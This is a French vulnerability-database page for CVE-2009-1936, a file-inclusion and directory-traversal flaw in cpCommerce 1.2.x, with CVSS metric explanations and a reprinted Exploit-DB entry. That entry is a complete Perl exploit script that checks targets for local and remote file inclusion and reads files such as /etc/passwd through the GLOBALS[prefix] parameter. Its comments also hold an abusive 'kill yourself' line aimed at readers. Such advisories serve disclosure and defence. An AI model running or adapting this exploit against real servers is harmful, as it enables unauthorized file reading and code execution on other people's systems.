CVE-2009-1936 : Détail

CVE-2009-1936

9.8
/
Critique
Directory Traversal
A01-Broken Access Control
5.21%V3
Network
2009-06-05
16h13 +00:00
2025-01-21
15h24 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

_functions.php in cpCommerce 1.2.x, possibly including 1.2.9, sends a redirect but does not exit when it is called directly, which allows remote attackers to bypass a protection mechanism to conduct remote file inclusion and directory traversal attacks, execute arbitrary PHP code, or read arbitrary files via the GLOBALS[prefix] parameter, a different vector than CVE-2003-1500.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8790

Date de publication : 2009-05-25 22h00 +00:00
Auteur : StAkeR
EDB Vérifié : Yes

#!/usr/bin/perl # # cpCommerce 1.2.x GLOBALS[prefix] Arbitrary File Inclusion Exploit # # by staker # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # mail: staker[at]hotmail[dot]it # url: http://cpcommerce.cpradio.org # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # it works with register_globals=on # if you wanna carry out a LFI -> mq=off # # short explanation: # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # cpCommerce contains one flaw that allows an # attacker to include a remote or local file # because of require_once() in _functions.php # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # File _functions.php # # [begin block code] # ------------------ # # define("CPCOMMERCE_LOADED", true); # ini_set("register_globals",0); <------ {1} totally useless # error_reporting(E_ALL ^ E_NOTICE); # # // Older PHP Versions # if (phpversion() < "4.0.6" && isset($HTTP_POST_VARS)) # $_POST = ($HTTP_POST_VARS); # if (phpversion() < "4.0.6" && isset($HTTP_GET_VARS)) # $_GET = ($HTTP_GET_VARS); # if (phpversion() < "4.0.6" && isset($HTTP_COOKIE_VARS)) # $_COOKIE = ($HTTP_COOKIE_VARS); # if (phpversion() < "4.0.6" && isset($HTTP_SERVER_VARS)) # $_SERVER = ($HTTP_SERVER_VARS); # if (phpversion() < "4.0.6" && isset($HTTP_POST_FILES)) # $_FILES = ($HTTP_POST_FILES); # if (phpversion() < "4.0.6" && isset($HTTP_SESSION_VARS)) # $_SESSION = ($HTTP_SESSION_VARS); # # // Start MySQL and Sessions # session_start(); # # // Resolve PHP running under fcgi # if (empty($_SERVER['PHP_SELF'])) # $_SERVER['PHP_SELF'] = $_SERVER['SCRIPT_NAME']; # # ## Protect prefix vulnerability # if (strpos($_SERVER['PHP_SELF'],"_functions.php") !== false) # header("Location: {$_SERVER['HTTP_HOST']}"); <------ {2} exit or die function? # if (!isset($prefix) || isset($_REQUEST['prefix'])) $prefix = ""; <--- {3} this is interesting # # ## Include Configuration Files # require_once("{$prefix}_config.php"); <-------- {4} include $prefix variable + _config.php # # ---------------- # [end block code] # # Explanation (code snippet above [points]) # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # 1. actually ini_set() doesn't work..so doesn't change anything # 2. header() needs an exit or die function otherwise is useless # 2. because of header() without die we bypass the direct access # 3. all REQUEST variables are not allowed,what about GLOBALS[]? # 4. require_once() include $prefix variable. # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # It's not possible to include a remote/local file using a web # browser because you will be automatically redirected in another # page ($_SERVER['HTTP_HOST']). What about scripts or curl? yeah # # http://[target]/[path]/_functions.php?GLOBALS[prefix]=[FILE] # # Various: # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # They didn't help me but i wanna give a thanks to girex,str0ke # Gianluka_95,p3ri0d,mrdoktom,Aquilo & http://zeroidentity.org # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Don't contact me on messenger,i'm bored of stupid questions! # so if you wanna help about exploit usage. kill yourself ok? # I didn't contact anyone to fix this bug, at least not yet, # but i release a possible fix here: # # _functions.php line: 36 Replace it with the following code: # # die(header("Location: http://{$_SERVER['HTTP_HOST']}")); # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Today is: 23 May 2009. # Location: Italy,Turin. # http://www.youtube.com/watch?v=TmFi2snLr7o # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ use LWP::UserAgent; print "[*--------------------------------------------------------------*]\n". "[* cpCommerce 1.2.x GLOBALS[prefix] Arbitrary Inclusion Exploit *]\n". "[*--------------------------------------------------------------*]\n". "[* Usage: ./cpCommerce.pl [target]/[path] [filename] [proxy] *]\n". "[* [filename] such as /etc/passwd or http://milw0rm.com *]\n". "[* [proxy] is optional ex: 151.21.42.10:8080 *]\n". "[*--------------------------------------------------------------*]\n"; die "Example: localhost/cpcommerce /etc/passwd\n" unless @ARGV; my $host = $ARGV[0]; my $type = $ARGV[1]; my $expl = new cpCommerce; print $expl->vulnerable($host); print $expl->local_file($host,$type); package cpCommerce; sub new { my $class = shift; my $self = {}; $self->{vulnerable} = undef; $self->{parse_url} = undef; $self->{local_file} = undef; bless($self,$class); return $self; } sub vulnerable { my ($class,$host) = @_; my $www = new LWP::UserAgent( max_redirect => 0, agent => 'ELinks/0.9.3 (textmode; Linux 2.6.11 i686; 79x24)', ) || die $!; if ($ARGV[2] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}?$/) { $www->proxy(['http', 'ftp'], $class->parse_url($ARGV[2])); } $host = $class->parse_url($host); my $exter = $www->get($host.'/_functions.php?GLOBALS[prefix]=http://'); my $local = $www->get($host.'/_functions.php?GLOBALS[prefix]=%00'); my @check = (); push(@check,'LFI') unless $local->content =~ /0_config.php'/i; push(@check,'RFI') unless $exter->content =~ /URL file-access is disabled/i; if (scalar(@check) == 0) { return "Site not vulnerable because of php.ini settings.\n"; } else { return "Vulnerable to: ${check[0]} ${check[1]}\n"; } } sub local_file { my ($class,$host,$file) = @_; my $www = new LWP::UserAgent( max_redirect => 0, agent => 'Lynxy/6.6.6dev.8 libwww-FM/3.14159FM', ) || die $!; if ($ARGV[2] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}?$/) { $www->proxy(['http', 'ftp'], $class->parse_url($ARGV[2])); } $host = $class->parse_url($host); my $request = $www->get($host.'/_functions.php?GLOBALS[prefix]='.$file.'%00'); my $result; if ($request->status_line =~ /^302|200|301/ || $request->is_success) { if ($request->content =~ /Failed opening/i) { return "Exploit failed.\n"; } else { my @result = split /No database selected/,$request->content; return $result[0]; } } else { if ($request->as_string !~ /(ecommerce|oscommerce)/i) { return "cpCommerce not found\n"; } else { $request->as_string; } } } sub parse_url { my ($class,$string) = @_; if ($string !~ /^http:\/\/?/i) { $string = 'http://'.$string; } return $string; } # milw0rm.com [2009-05-26]

Products Mentioned

Configuraton 0

Cpcommerce_project>>Cpcommerce >> Version From (including) 1.2.0 To (including) 1.2.9

Références

https://www.exploit-db.com/exploits/8790
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/35103
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/35245
Tags : third-party-advisory, x_refsource_SECUNIA